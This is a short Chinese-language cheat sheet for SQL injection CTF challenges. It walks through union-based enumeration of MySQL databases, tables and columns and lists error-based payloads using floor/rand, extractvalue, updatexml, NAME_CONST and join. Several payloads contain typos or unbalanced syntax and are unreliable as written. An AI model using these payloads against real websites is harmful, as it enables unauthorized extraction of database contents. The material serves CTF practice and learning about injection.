SQL注入解题技巧

1.常规思路

************数据回显注入

1 针对可疑的注入点进行测试，测试方式根据数据库类型的不同也有所不同：

SQLi备忘录:
http://pentestmonkey.net/category/cheat-sheet/sql-injection
2 测试源语句查询字段数
使用order by 语法，确定字段数。这个语句的意思是按照第n列排序，若order by 8正常，order by 9报错的话就表示原查询语句查询结果为9列。
3 确定显示位

可以先尝试用select 1,2,3,4,5……,n#来检测，然后直接找相应数字出现的位置即可。之后的查询语句，最好用@或者NULL，类似 select @,@,@#
、select NULL,NULL,NULL# 可以保证不会因为数据类型不匹配而测试失败；

PS：union 查询需要保证前后两个语句的查询列数相同，以及数据类型相同或相似。前者可以通过order by和其它姿势探测，后者使用NULL、@来避免。
类似题型参考 ——i春秋 “百度杯”CTF比赛 九月场 SQL

4 查询数据库名
通用框架：Select group_concat(schema_name) FROM information_schema.schemata
变形：
查询表名：

select group_concat(table_name) from information_schema.tables where table_schema='xxx'

查询列名：

Select groupc_concat(column_name) from information_schema.columns where table_name=’xxxxx’

爆数据：

select group_concat(column_name) from table_name

************报错注入

1.group by
报错原理：
http://www.jinglingshu.org/?p=4507
语法：

and select 1 from (select count(*),concat(version),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.ExtractValue
报错原理：
http://wt7315.blog.51cto.com/10319657/1891458
语法：

and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)))

3.UpdateXml
报错原理：
http://wt7315.blog.51cto.com/10319657/1891458
语法：

 and 1=(updatexml(1,concat(0x3a,(select user())),1))

4.NAME_CONST
原理：
http://www.2cto.com/article/201203/121491.html
语法：

and+1=(select+*+from+(select+NAME_CONST(PAYLOAD,1),NAME_CONST(PAYLOAD,1))+as+x)

5.join
原理：
http://www.jinglingshu.org/?p=4507
语法：

select * from(select * form mysql.user a join mysql.user b using(Host))c